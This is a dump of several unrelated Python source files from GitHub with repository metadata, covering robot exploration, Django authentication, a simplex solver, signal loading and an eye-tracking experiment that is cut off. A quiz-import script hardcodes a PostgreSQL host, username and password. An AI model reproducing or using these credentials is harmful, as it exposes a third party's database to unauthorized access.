========================\nnp.random.seed(cfg.GENERAL.RANDOM_SEED)\nrandom.seed(cfg.GENERAL.RANDOM_SEED)\n\nif cfg.NAVI.FLAG_GT_OCC_MAP:\n\tocc_map_npy = np.load(f'{cfg.SAVE.OCCUPANCY_MAP_PATH}/{split}/{scene_name}/BEV_occupancy_map.npy', allow_pickle=True).item()\ngt_occ_map, pose_range, coords_range, WH = read_occ_map_npy(occ_map_npy)\nH, W = gt_occ_map.shape[:2]\n\nLN = localNav_Astar(pose_range, coords_range, WH, scene_name)\n\nsemMap_module = SemanticMap(split, scene_name, pose_range, coords_range, WH, ins2cat_dict) # build the observed sem map\ntraverse_lst = []\n\n#===================================== setup the start location ===============================#\n\nagent_pos = np.array([start_pose[0], scene_height, start_pose[1]]) # (6.6, -6.9), (3.6, -4.5)\n# check if the start point is navigable\nif not env.habitat_env.sim.is_navigable(agent_pos):\n\tprint(f'start pose is not navigable ...')\n\tassert 1==2\n\nif cfg.NAVI.HFOV == 90:\n\tobs_list, pose_list = [], []\n\theading_angle = start_pose[2]\n\tobs, pose = get_obs_and_pose(env, agent_pos, heading_angle)\n\tobs_list.append(obs)\n\tpose_list.append(pose)\nelif cfg.NAVI.HFOV == 360:\n\tobs_list, pose_list = [], []\n\tfor rot in [90, 180, 270, 0]:\n\t\theading_angle = rot / 180 * np.pi\n\t\theading_angle = plus_theta_fn(heading_angle, start_pose[2])\n\t\tobs, pose = get_obs_and_pose(env, agent_pos, heading_angle)\n\t\tobs_list.append(obs)\n\t\tpose_list.append(pose)\n\nstep = 0\nsubgoal_coords = None\nsubgoal_pose = None \nMODE_FIND_SUBGOAL = True\nexplore_steps = 0\nMODE_FIND_GOAL = False\nvisited_frontier = set()\nchosen_frontier = None\n\nwhile step < cfg.NAVI.NUM_STEPS:\n\tprint(f'step = {step}')\n\n\t#=============================== get agent global pose on habitat env ========================#\n\tpose = pose_list[-1]\n\tprint(f'agent position = {pose[:2]}, angle = {pose[2]}')\n\tagent_map_pose = (pose[0], -pose[1], -pose[2])\n\ttraverse_lst.append(agent_map_pose)\n\n\t# add the observed area\n\tt0 = timer()\n\tsemMap_module.build_semantic_map(obs_list, pose_list, step=step, saved_folder=saved_folder)\n\tt1 = timer()\n\tprint(f'build map time = {t1 - t0}')\n\n\tif MODE_FIND_SUBGOAL:\n\t\tt1 = timer()\n\t\tobserved_occupancy_map, gt_occupancy_map, observed_area_flag, built_semantic_map = semMap_module.get_observed_occupancy_map(agent_map_pose)\n\t\tt2 = timer()\n\t\tprint(f't2- t1 = {t2 - t1}')\n\t\t#improved_observed_occupancy_map = fr_utils.remove_isolated_points(observed_occupancy_map)\n\t\tt3 = timer()\n\t\tprint(f't3- t2 = {t3 - t2}')\n\t\tfrontiers = fr_utils.get_frontiers(observed_occupancy_map, gt_occupancy_map, observed_area_flag, built_semantic_map)\n\t\tfrontiers = frontiers - visited_frontier\n\t\tt4 = timer()\n\t\tprint(f't4- t3 = {t4 - t3}')\n\t\tfrontiers = LN.filter_unreachable_frontiers(frontiers, agent_map_pose, observed_occupancy_map)\n\t\tt5 = timer()\n\t\tprint(f't5- t4 = {t5 - t4}')\n\t\tif cfg.NAVI.STRATEGY == 'Greedy':\n\t\t\tchosen_frontier = fr_utils.get_frontier_with_maximum_area(frontiers, gt_occupancy_map)\n\t\telif cfg.NAVI.STRATEGY == 'DP':\n\t\t\ttop_frontiers = fr_utils.select_top_frontiers(frontiers, top_n=5)\n\t\t\tchosen_frontier = fr_utils.get_frontier_with_DP(top_frontiers, agent_map_pose, observed_occupancy_map, \\\n\t\t\t\tcfg.NAVI.NUM_STEPS-step, LN)\n\t\tt6 = timer()\n\t\tprint(f't6- t5 = {t6 - t5}')\n\t\t#============================================= visualize semantic map ===========================================#\n\t\tif True:\n\t\t\t#==================================== visualize the path on the map ==============================\n\t\t\t#built_semantic_map, observed_area_flag, _ = semMap_module.get_semantic_map()\n\n\t\t\tcolor_built_semantic_map = apply_color_to_map(built_semantic_map, flag_small_categories=True)\n\t\t\t#color_built_semantic_map = change_brightness(color_built_semantic_map, observed_area_flag, value=60)\n\n\t\t\t#=================================== visualize the agent pose as red nodes =======================\n\t\t\tx_coord_lst, z_coord_lst, theta_lst = [], [], []\n\t\t\tfor cur_pose in traverse_lst:\n\t\t\t\tx_coord, z_coord = pose_to_coords((cur_pose[0], cur_pose[1]), pose_range, coords_range, WH)\n\t\t\t\tx_coord_lst.append(x_coord)\n\t\t\t\tz_coord_lst.append(z_coord)\t\t\t\n\t\t\t\ttheta_lst.append(cur_pose[2])\n\n\t\t\t#'''\n\t\t\tfig, ax = plt.subplots(nrows=1, ncols=2, figsize=(20, 10))\n\t\t\tax[0].imshow(observed_occupancy_map, cmap='gray')\n\t\t\tmarker, scale = gen_arrow_head_marker(theta_lst[-1])\n\t\t\tax[0].scatter(x_coord_lst[-1], z_coord_lst[-1], marker=marker, s=(30*scale)**2, c='red', zorder=5)\n\t\t\tax[0].plot(x_coord_lst, z_coord_lst, lw=5, c='blue', zorder=3)\n\t\t\tfor f in frontiers:\n\t\t\t\tax[0].scatter(f.points[1], f.points[0], c='yellow', zorder=2)\n\t\t\t\tax[0].scatter(f.centroid[1], f.centroid[0], c='red', zorder=2)\n\t\t\tif chosen_frontier is not None:\n\t\t\t\tax[0].scatter(chosen_frontier.points[1], chosen_frontier.points[0], c='green', zorder=4)\n\t\t\t\tax[0].scatter(chosen_frontier.centroid[1], chosen_frontier.centroid[0], c='red', zorder=4)\n\t\t\tax[0].get_xaxis().set_visible(False)\n\t\t\tax[0].get_yaxis().set_visible(False)\n\t\t\t#ax.set_title('improved observed_occ_map + frontiers')\n\n\t\t\tax[1].imshow(color_built_semantic_map)\n\t\t\tax[1].get_xaxis().set_visible(False)\n\t\t\tax[1].get_yaxis().set_visible(False)\n\n\t\t\tfig.tight_layout()\n\t\t\tplt.title('observed area')\n\t\t\tplt.show()\n\t\t\t#fig.savefig(f'{saved_folder}/step_{step}_semmap.jpg')\n\t\t\t#plt.close()\n\t\t\t#assert 1==2\n\t\t\t#'''\n\n\t#===================================== check if exploration is done ========================\n\tif chosen_frontier is None:\n\t\tprint('There are no more frontiers to explore. Stop navigation.')\n\t\tbreak\n\n\t#==================================== update particle filter =============================\n\tif MODE_FIND_SUBGOAL:\n\t\tMODE_FIND_SUBGOAL = False\n\t\texplore_steps = 0\n\t\tt7 = timer()\n\t\tflag_plan, subgoal_coords, subgoal_pose = LN.plan_to_reach_frontier(chosen_frontier, agent_map_pose, observed_occupancy_map, step, saved_folder)\n\t\tt8 = timer()\n\t\tprint(f't8 - t7 = {t8 - t7}')\n\t\tif not flag_plan:\n\t\t\tprint(f'local planning reach the frontier failed.')\n\t\t\tassert 1==2\n\t\tprint(f'subgoal_coords = {subgoal_coords}')\n\t\t\n\t#====================================== take next action ================================\n\taction, next_pose = LN.next_action(env, scene_height)\n\tprint(f'action = {action}')\n\tif action == \"collision\":\n\t\tstep += 1\n\t\texplore_steps += 1\n\t\t#assert next_pose is None\n\t\t# input next_pose is environment pose, not sem_map pose\n\t\tsemMap_module.add_occupied_cell_pose(next_pose)\n\t\t# redo the planning\n\t\tprint(f'redo planning')\n\t\tobserved_occupancy_map, gt_occupancy_map, observed_area_flag, _ = semMap_module.get_observed_occupancy_map(agent_map_pose)\n\t\t'''\n\t\tfig, ax = plt.subplots(nrows=1, ncols=1, figsize=(100, 100))\n\t\tax.imshow(occupancy_map, vmax=5)\n\t\tax.get_xaxis().set_visible(False)\n\t\tax.get_yaxis().set_visible(False)\n\t\tplt.title('collision occupancy_map')\n\t\tplt.show()\n\t\t'''\n\t\t\n\t\tflag_plan, subgoal_coords, subgoal_pose = LN.plan_to_reach_frontier(chosen_frontier, agent_map_pose, observed_occupancy_map, step, saved_folder)\n\n\t\t# do not take any actions\n\telif action == \"\": # finished navigating to the subgoal\n\t\tprint(f'reached the subgoal')\n\t\tMODE_FIND_SUBGOAL = True\n\t\tvisited_frontier.add(chosen_frontier)\n\telse:\n\t\tstep += 1\n\t\texplore_steps += 1\n\t\tprint(f'next_pose = {next_pose}')\n\t\tagent_pos = np.array([next_pose[0], scene_height, next_pose[1]])\n\t\t# output rot is negative of the input angle\n\t\tif cfg.NAVI.HFOV == 90:\n\t\t\tobs_list, pose_list = [], []\n\t\t\theading_angle = -next_pose[2]\n\t\t\tobs, pose = get_obs_and_pose(env, agent_pos, heading_angle)\n\t\t\tobs_list.append(obs)\n\t\t\tpose_list.append(pose)\n\t\telif cfg.NAVI.HFOV == 360:\n\t\t\tobs_list, pose_list = [], []\n\t\t\tfor rot in [90, 180, 270, 0]:\n\t\t\t\theading_angle = rot / 180 * np.pi\n\t\t\t\theading_angle = plus_theta_fn(heading_angle, -next_pose[2])\n\t\t\t\tobs, pose = get_obs_and_pose(env, agent_pos, heading_angle)\n\t\t\t\tobs_list.append(obs)\n\t\t\t\tpose_list.append(pose)\n\n\tif explore_steps == cfg.NAVI.NUM_STEPS_EXPLORE:\n\t\texplore_steps = 0\n\t\tMODE_FIND_SUBGOAL = True\n\n","repo_name":"yimengli46/bellman-exploration","sub_path":"archive/frontier_explore_test.py","file_name":"frontier_explore_test.py","file_ext":"py","file_size_in_byte":10009,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"23933783390","text":"# Returns the sum of series\ndef sumOfSeries(n):\n sum = 0\n for i in range(1, n + 1):\n sum += i * i\n\n return sum\n\n#calling method in two ways with main and without main\n\n# 1 Method\nn = 5\nprint(sumOfSeries(n))\n\n# 2 Method\nif __name__=='__main__':\n sum=sumOfSeries(6)\n print(sum)\n","repo_name":"swathiNagubandi/Python_Practice","sub_path":"sum_of_squares.py","file_name":"sum_of_squares.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"1130058900","text":"from django.urls import path\r\nfrom . import views\r\n\r\napp_name=\"users\"\r\nurlpatterns = [\r\n \tpath('register/', views.register, name='register'), \r\n path('profile/', views.profile, name='profile'),\r\n path('edit_profile/', views.edit_profile, name='edit_profile'),\r\n path('activate_profile/', views.activate_profile, name='activate_profile')\r\n]\r\n\r\n","repo_name":"Senyapykpyk/dietsonline","sub_path":"users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"70646094498","text":"import pandas as pd\nimport psycopg2\n\n# Connect to your PostgreSQL database\nconn = psycopg2.connect(\n database=\"yegbvjgn\",\n user=\"yegbvjgn\",\n password=\"PN21zQ63wQE-q6NNHmvFis87kem2hEg7\",\n host=\"rain.db.elephantsql.com\",\n port=\"5432\"\n)\n\n# Create a cursor object\ncur = conn.cursor()\n\n\ndf = pd.read_csv('scripts/final.csv')\nprint(df)\n\nhelperDict ={\n 'A': 0,\n 'B': 1,\n 'C': 2,\n 'D': 3\n}\n\n# Iterate through each row and insert into the database\nfor index, row in (df.iterrows()):\n question_text = row['question_text']\n options = [row['option_a'], row['option_b'], row['option_c'], row['option_d']]\n correct_option = options[helperDict[(row['answer'])]]\n print(options, correct_option)\n\n # Insert question into QuestionsInfo table\n # cur.execute(\n # \"INSERT INTO QuestionsInfo (question_text, category_id, is_training) VALUES (%s, %s, %s) RETURNING question_id\",\n # (question_text, 1, True) # Assuming category_id for questions is 1 and they are for training\n # )\n # question_id = cur.fetchone()[0]\n\n # Insert options into OptionsInfo table\n for i, option_text in enumerate(options):\n is_correct = correct_option == option_text # Convert ASCII value to character (A, B, C, D)\n print(option_text, is_correct)\n # cur.execute(\n # \"INSERT INTO OptionsInfo (question_id, option_text, is_correct) VALUES (%s, %s, %s)\",\n # (question_id, option_text, is_correct)\n # )\n\n# Commit the changes\nconn.commit()\n\n# Close the cursor and connection\ncur.close()\nconn.close()","repo_name":"CoderLovely08/AI-Quiz-App","sub_path":"scripts/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"5149860404","text":"# NIM/Nama\t: 16518332/Dhafin Rayhan Ahmad\n# Tanggal\t: 3 Oktober 2018\n# Deskripsi\t: Mentranslasi suatu bilangan heksadesimal 1 digit ke bilangan desimal\n\n# FUNGSI\ndef HtoD(x): # fungsi yang akan mengembalikan nilai translasi suatu bilangan heksadesimal 1 digit (x) ke bilangan desimal\n\tif x == \"A\":\n\t\treturn 10\n\telif x == \"B\":\n\t\treturn 11\n\telif x == \"C\":\n\t\treturn 12\n\telif x == \"D\":\n\t\treturn 13\n\telif x == \"E\":\n\t\treturn 14\n\telif x == \"F\":\n\t\treturn 15\n\telse: # jika x adalah \"0\"-\"9\"\n\t\treturn int(x) # nilainya sama\n\t\t\n# INPUT\nh = input(\"Masukkan karakter heksadesimal: \")\n\n# OUTPUT\nprint(\"Representasi desimalnya \" + str(HtoD(h)))\n","repo_name":"dhafinrayhan/PTI","sub_path":"P03-16518332/P03-16518332-01.py","file_name":"P03-16518332-01.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"35179441503","text":"\"\"\"\nPysionet2018_LSTM_DataLoading\n@description: A Class with function to read Physionet 2018 Challenge Dataset\n@author: Enrico Sanna - Unimarconi\n@project: hhttps://github.com/esanna-unimarconi/TensorflowSignalProcessing/\n@create-date:18/04/2018\n\"\"\"\nimport os\nimport numpy as np\n# library to read Matlab v4 Files\n# http://wfdb.readthedocs.io/en/latest/wfdb.html\nimport wfdb\n# library to easy manipulate Matlab v7.3 Files (HDF5), base on h5py.\n# https://github.com/frejanordsiek/hdf5storage\nimport hdf5storage\n\n\nclass Pysionet2018_LSTM_DataLoading:\n currentSignalRecord = []\n currentArousalRecord = []\n def __init__(self, baseDirName=\"M:\\\\\", currentDirName=\"none\"):\n self.baseDirName = baseDirName\n self.currentDirName = currentDirName\n self.sample_from = 0\n if (currentDirName == \"none\"): self.next_record_directory()\n self.resetSampleFrom()\n\n def resetSampleFrom(self):\n self.sample_from = 0\n self.currentSignalRecord = []\n self.currentArousalRecord = []\n\n def getCurrentDirName(self):\n return self.currentDirName\n\n def getSampleFrom(self):\n return self.sample_from\n\n '''\n change attribute state with next record on the dataset\n '''\n\n def next_record_directory(self):\n training_directory = str(self.baseDirName + \"training/\")\n trovata = 0\n for dirs in os.listdir(training_directory):\n if (not self.currentDirName.startswith(\"tr\")):\n if (dirs.startswith(\"tr\")):\n self.currentDirName = dirs\n # print(\"imposto directory \" + dirs)\n break\n # else: print(\"scarto directory \"+dirs)\n else:\n if (trovata == 1):\n self.currentDirName = dirs\n self.resetSampleFrom()\n # print(\"imposto directory \" + dirs)\n break\n else:\n if (self.currentDirName == dirs and trovata == 0): trovata = 1\n print(\"Cambio record file: \" + training_directory + \"/\" + self.currentDirName)\n self.currentSignalRecord = []\n self.currentArousalRecord = []\n return self.currentDirName\n\n '''\n test function for print arousal vector\n '''\n\n def printArousalFile(self, filename, sample_from, signals_max_size=0, depth=10):\n arousalDataRecord = hdf5storage.loadmat(filename + '-arousal.mat')\n arousalArray = arousalDataRecord[\"data\"][0][0][0][0]\n arousalDataRecord = hdf5storage.loadmat(filename + '-arousal.mat')\n arousalArray = arousalDataRecord[\"data\"][0][0][0][0]\n # print(\"Arousal File \" + str(filename) + \" total size: \" + str(arousalArray.size))\n signals_size = arousalArray.size\n # limit Array to requested size\n if (signals_max_size != 0): signals_size = min(signals_size, signals_max_size)\n # I discard firsts depth size\n arousalArray = arousalArray[sample_from + depth:sample_from + signals_size]\n # print(\"Arousal File \" + str(filename) + \" sample size: \" + str(signals_size))\n arousalLabels = np.zeros((signals_size - depth, 3))\n i = 0\n for element in arousalArray:\n if element == 0: arousalLabels[i, 0] = 1; print(\"ciclo \" + str(i) + \" messo a zero\");\n if element == 1: arousalLabels[i, 1] = 1\n if element == -1: arousalLabels[i, 2] = 1;print(\"ciclo \" + str(i) + \" messo a - uno\")\n i = i + 1\n\n '''\n extra signal from file and return signals,fields\n signals is a multi-array with signals\n fields is a dict with field names and unit of measurement\n '''\n\n def extractSignal(self, filename, sample_from, signals_max_size=0, depth=10):\n \"\"\"\n To extract signals from training dataset\n @filename: filepath of the subject\n \"\"\"\n if(self.currentArousalRecord == []):\n # reading arousal datafile, goal of the challenge\n self.currentArousalRecord = hdf5storage.loadmat(filename + '-arousal.mat')\n print(\"Leggo da disco \"+filename+ '-arousal.mat')\n arousalArray = self.currentArousalRecord[\"data\"][0][0][0][0]\n # print(\"Arousal File \" + str(filename) + \" total size: \" + str(arousalArray.size))\n signals_size = arousalArray.size\n signals_size2= signals_size\n # limit Array to requested size\n if (signals_max_size != 0): signals_size = min(signals_size, signals_max_size)\n # I discard firsts depth size\n arousalArray = arousalArray[sample_from + depth:sample_from + signals_size]\n #print(\"Arousal File \" + str(filename) + \" sample size: \" + str(signals_size))\n\n arousalLabels = np.zeros((signals_size - depth, 3))\n i = 0\n for element in arousalArray:\n if element == 0: arousalLabels[i, 0] = 1; # print(\"messo a zero\")\n if element == 1: arousalLabels[i, 1] = 1\n if element == -1: arousalLabels[i, 2] = 1; # print(\"messo a - uno\")\n i = i + 1\n # sampling a file from training dataset\n # ['F3-M2', 'F4-M1', 'C3-M2', 'C4-M1', 'O1-M2', 'O2-M1', 'E1-M2', 'Chin1-Chin2', 'ABD', 'CHEST', 'AIRFLOW', 'SaO2', 'ECG']\n # (channel 12 = ECG)\n if(self.currentSignalRecord == []):\n # signals, fields = wfdb.rdsamp(filename, sampfrom=sample_from, sampto=sample_from + signals_size,\n # channels=[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12])\n print(\"Leggo da disco \"+filename)\n signals, fields = wfdb.rdsamp(filename, sampfrom=0, sampto=0 + signals_size2,channels=[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12])\n self.currentSignalRecord=signals\n #print(\"Signal Fields \" + str(fields))\n signals=self.currentSignalRecord[sample_from:sample_from + signals_size]\n return signals, arousalLabels, signals_size2\n\n '''\n function to extract next batch-size dimension list o arrays\n '''\n\n def train_next_batch(self, batch_size, depth):\n filename = self.baseDirName + \"training/\" + self.currentDirName + \"/\" + self.currentDirName\n # self.printArousalFile( filename, self.sample_from, 4000000, 10)\n # exit(0)\n signals, arousalLabels, signals_size = self.extractSignal(filename, self.sample_from, batch_size, depth)\n # per ora campiono solo i primi 4 milioni di valori per record\n # print(\"Sample from: \"+str(self.sample_from))\n # if self.sample_from > 4000000:\n if self.sample_from + (2*batch_size) > signals_size:\n self.next_record_directory()\n else:\n self.sample_from = self.sample_from + batch_size\n\n # signals = np.zeros(depth,13)\n # arousalLabels = np.zeros(depth, 1)\n return signals, arousalLabels\n\n\n'''\nunit test of the class\n'''\n# loader = Pysionet2018_LSTM_DataLoading(currentDirName=\"tr03-0029\")\n# directory = loader.next_record_directory()\n# print(\"Nuovo Record: \"+str(directory))","repo_name":"esanna-unimarconi/TensorflowSignalProcessing","sub_path":"Physionet2018_LSTM_DataLoading.py","file_name":"Physionet2018_LSTM_DataLoading.py","file_ext":"py","file_size_in_byte":7044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"1959221900","text":"import re\nimport string\nimport sys\nclass Simplex:\n pivot_column_index = 0\n inserted = 0\n coefficients = []\n def __init__(self, fo: str, objective):\n self.table = []\n self.coefficients = re.findall(\"[a-z]\", fo)\n row = list(map(lambda x: x * (-1), self.convert_expr(fo)))\n self.fo = [1] + row\n self.column_b = [0]\n if objective == 'MAX':\n self.objective = 0\n elif objective == 'MIN':\n self.objective = 1\n else:\n raise ValueError(\"Apenas MAX e MIN para objetivo!\")\n self.variables = list(string.ascii_lowercase)\n # Utilitários para a aplicação\n def is_valid_coefficients(self, expr: str):#Verifica se existem variaveis repetidos\n expr = expr.replace(\" \", \"\")\n coefficients = re.findall(\"[a-z]\", expr)\n data = re.split(\"\\\\+|\\\\-|<=\", expr)\n is_duplicated = lambda x: len(x) != len(set(x))\n if is_duplicated(coefficients):\n raise TypeError(\"Existem variaveis repetidas na expressão informada\")\n return True\n def convert_expr(self, expr: str):#Converte a expressão em um padrão calculável pelo algoritmo\n if self.is_valid_coefficients(expr):\n expr = expr.replace(\" \", \"\")\n coefficients = re.findall(\"[a-z]\", expr)\n if coefficients != sorted(coefficients):\n raise ValueError(\"Utilize variáveis em ordem alfabetica!\")\n #pattern = \">=|\\\\+|\\\\-|<=\"\n \n pattern = \">=|\\\\+|<=\"\n \n separated_data = re.split(pattern, expr)\n values = []\n for coefficient in self.coefficients:\n contains = False\n for var in separated_data:\n if coefficient in var:\n value = re.findall(r\"-?\\d+\", var)\n if len(value) > 0:\n values.append(value[0])\n else:\n values.append(1)\n contains = True\n if not contains:\n values.append(0)\n return list(map(int, values))\n def normalize_table(self):\n \"\"\" Configura as variáveis para cada linha na tabela \"\"\"\n self.table.insert(0, self.fo)\n normal_size = len(self.fo)\n for row in self.table:\n if len(row) < normal_size:\n addition = normal_size - len(row)\n for i in range(addition):\n row.append(0)\n self.table = list(map(lambda x, y: x + [y], self.table, self.column_b))\n def add_constraints(self, expr: str):\n \"\"\" Adiciona restrição \"\"\"\n delimiter = \"<=\"\n default_format = True\n if not self.simplex_standard(expr):\n raise ValueError(\"Simplex Duas Fases não implementado!\")\n expr_list = expr.split(delimiter)\n sa = [0] + self.convert_expr(expr_list[0])\n if not default_format:\n self.fo = self.fo + [0]\n sa = self.insert_slack_var(sa, default_format)\n self.column_b.append(int(expr_list[1]))\n self.table.append(sa)\n def insert_slack_var(self, row: list, default_format=True):\n \"\"\" Insere variável de folga na restrição \"\"\"\n self.fo.append(0)\n if len(self.table) == 0:\n row.append(1)\n self.inserted += 1\n return row\n loop = len(self.table[self.inserted - 1]) - len(row)\n for i in range(loop):\n row.append(0)\n if not default_format:\n row = row + [-1, 1]\n else:\n row.append(1)\n self.inserted += 1\n return row\n def simplex_standard(self, sa: str):#Verifica se a restrição está no padrão do simplex\n return \"<=\" in sa and self.objective == 0\n def is_optimal(self):#Verifica se existe valores negativos na primeira linha da tabela\n ocurrence = list(filter(lambda x: x < 0, self.table[0]))\n return False if len(ocurrence) > 0 else True\n def get_entry_column(self):#Define o indice da coluna pivô\n pivot_fo = min(self.table[0]) # menor valor negativo na linha 0 (F.O) função objetivo\n self.pivot_column_index = self.table[0].index(pivot_fo)\n column = []\n for i in range(len(self.table)):\n column.append(self.table[i][self.pivot_column_index])\n return column\n def get_pivot_line(self, entry_column: list):# O indice identifica da linha que sai\n meta = {}\n for i, row in enumerate(self.table):\n if i > 0:\n if entry_column[i] > 0:\n meta[i] = row[-1] / entry_column[i]\n return min(meta, key=meta.get)\n def calculate_new_line(self, row: list, pivot_line: list):# Calcula a nova linha que será substituída na tabela row -> linha que será trocada pivot_line -> linha pivô\n pivot = row[self.pivot_column_index] * -1\n result_line = [pivot * value for value in pivot_line]\n new_line = list(map(lambda x, y: x + y, result_line, row))\n return new_line\n def calculate(self):\n column = self.get_entry_column()\n # linha que vai sair\n first_exit_line = self.get_pivot_line(column)\n line = self.table[first_exit_line]\n # identificando o pivo da linha que vai sair\n pivot = line[self.pivot_column_index]\n # calculando nova linha pivô\n pivot_line = list(map(lambda x: x / pivot, line))\n # substituindo a linha que saiu pela nova linha pivô\n self.table[first_exit_line] = pivot_line\n stack = self.table.copy()\n line_reference = len(stack) - 1\n while len(stack) > 0:\n row = stack.pop()\n if line_reference != first_exit_line:\n new_line = self.calculate_new_line(row, pivot_line)\n self.table[line_reference] = new_line\n line_reference -= 1\n def solve(self):\n self.normalize_table()\n self.calculate()\n while not self.is_optimal():\n self.calculate()\n return Table.get_results(self.table, self.coefficients)\n\nclass Table:\n @classmethod\n def _get_z(cls, table: list) -> int:\n for row in table:\n if row[0] == 1:\n return row[-1]\n return 0\n @classmethod\n def show_table(cls, table: list):\n for i in range(len(table)):\n for j in range(len(table[i])):\n print(f\"{table[i][j]}\\t\", end=\"\")\n print()\n @classmethod\n def _get_basic_vars(cls, table: list) -> list:\n basics = []\n for i in range(len(table[0])):\n basic = 0\n for j in range(len(table)):\n basic += abs(table[j][i])\n if basic == 1:\n basics.append(i)\n return basics\n @classmethod\n def get_results(cls, table: list, coefficients: list) -> (dict, dict):\n basics = cls._get_basic_vars(table)\n meta = {\"solution\": cls._get_z(table),}\n basics.remove(0)\n try:\n for index in basics:\n var = coefficients[index - 1]\n for j in range(len(table)):\n value = table[j][index]\n if value == 1:\n meta[var] = table[j][-1]\n break\n except Exception as e:\n pass\n for var in coefficients:\n if not var in meta:\n meta[var] = 0\n return meta\n","repo_name":"Birunda3000/Programacao-Matematica","sub_path":"simplex.py","file_name":"simplex.py","file_ext":"py","file_size_in_byte":7509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"30291566117","text":"import pandas\ndef action_first(file):\n action = pandas.read_csv(file)\n action.time = action.time.map(lambda x:x[:10])\n ck =action.groupby(['user_id','sku_id','time','type']).count().reset_index()\n ck =ck.drop(['model_id','cate'],axis=1)\n ck= ck.groupby(['user_id','sku_id','time','type'])['brand'].sum().unstack()\n ck = ck.reset_index().fillna(0)\n ck.to_csv('action_all.csv',index=False)\n return 'end to first'\n\nif __name__ == '__main__':\n print (action_first('../JData_Action_201602.csv'))","repo_name":"shenjiawei19/jd_competition","sub_path":"action/action_first.py","file_name":"action_first.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"24339914216","text":"from django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.forms import UserCreationForm, AuthenticationForm\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render, redirect\nfrom django.urls import reverse\n\n# Create your views here.\n\ndef register_view(request): \n\tif request.method == \"POST\":\n\t\tform = UserCreationForm(request.POST)\n\t\tif form.is_valid():\n\t\t\t# save the user details. form.save() returns the user to us.\n\t\t\tuser = form.save()\n\t\t\t#code to log user in goes here\n\t\t\tlogin(request, user)\n\t\t\treturn HttpResponseRedirect(\"/online_order\")\n\telse:\n\t\t# using django's inbuilt form\n\t\tform = UserCreationForm()\n\tcontext = {\n\t\t\"form\": form\n\t}\n\treturn render(request, \"accounts/register.html\", context)\n\ndef login_view(request):\n\t# GET request when rendeing the login form. \"POST\" request when submitting the form.\n\tif request.method == \"POST\":\n\t\tform = AuthenticationForm(data=request.POST)\n\t\tif form.is_valid():\n\t\t\t# code to log in the user goes here\n\t\t\t# no need to save as we're just validating and redirecting\n\t\t\tuser = form.get_user()\n\t\t\tlogin(request, user)\n\t\t\tif \"next\" in request.POST:\n\t\t\t\treturn HttpResponseRedirect(request.POST.get(\"next\"))\n\t\t\telse:\n\t\t\t\treturn HttpResponseRedirect(\"/online_order\")\n\telse:\n\t\tform = AuthenticationForm()\n\treturn render(request, \"accounts/login.html\", {\"form\": form})\n\ndef logout_view(request):\n\tif request.method == \"POST\":\n\t\t# not neccessary to pass in 'user' as django knows we're logged in\n\t\tlogout(request)\n\t\treturn HttpResponseRedirect(\"login\")\n\n@login_required(login_url=\"login\")\ndef user_view(request):\n\treturn render(request, \"accounts/user.html\")\n\ndef index(request):\n\tif not request.user.is_authenticated:\n\t\treturn render(request, \"users/login.html\", {\"message\": None})\n\tcontext = {\n\t\t\"user\": request.user\n\t}\n\treturn render(request, \"users/user.html\", context)\n\n# below code would be if not using django's forms\n\n# def login_view(request):\n# \tusername = request.POST[\"username\"]\n# \tpassword = request.POST[\"password\"]\n# \tuser = authenticate(request, username=username, password=password)\n# \tif user is not None:\n# \t\t#login is a django function\n# \t\tlogin(request, user)\n# \t\t#using \"HttpResponseRedirect\" rather than \"render\" takes us through the index function \n# \t\t#before rendering index.html and this is in case computation is required before rendering. \n# \t\t#reverse allows us to go from \"index\" ie the name of the route \"\" in urls.py without worrying\n# \t\t#about the url name and so would be valid even if url name were changed.\n# \t\treturn HttpResponseRedirect(reverse(\"index\"))\n# \telse:\n# \t\treturn render(request, \"users/login.html\", {\"message\": \"invalid credentials\"})\n\n# def logout_view(request):\n# \t#logout is a django function in django.contrib.auth\n# \tlogout(request)\n# \treturn render(request, \"users/login.html\", {\"message\": \"logged out\"})\n\n","repo_name":"vijay7979/proj3","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"14680188905","text":"import random\nimport string\nfrom constants import *\nfrom pygaze import libtime\nfrom pygaze.eyetracker import EyeTracker\nfrom pygaze.libinput import Keyboard\nfrom pygaze.liblog import Logfile\nfrom pygaze.libscreen import Display, Screen\n\n\ndef close_all(tracker, log, disp):\n if tracker.recording:\n tracker.stop_recording()\n tracker.close()\n log.close()\n disp.close()\n quit()\n\n\ndef check_key(disp, quitscr, prevscr, keylist=None, timeout=None):\n if kb.get_key(keylist=keylist, timeout=timeout)[0] == 'escape':\n disp.fill(quitscr)\n disp.show()\n if kb.get_key()[0] == 'y':\n close_all(tracker, log, disp)\n else:\n disp.fill(prevscr)\n disp.show()\n kb.get_key(keylist=keylist, timeout=timeout)\n\n\n# Initialize Display\ndisp = Display()\n\n# Initialize Logfile\nlog = Logfile()\nheader = ['trialnum', 'fixonset_ms', 'imgonset_ms', 'imgoffset_ms',\n 'presstime_ms', 'deltatime_ms', 'trueletter', 'userletter', 'sequence']\nlog.write(header)\n\n# Initialize Keyboard\nkb = 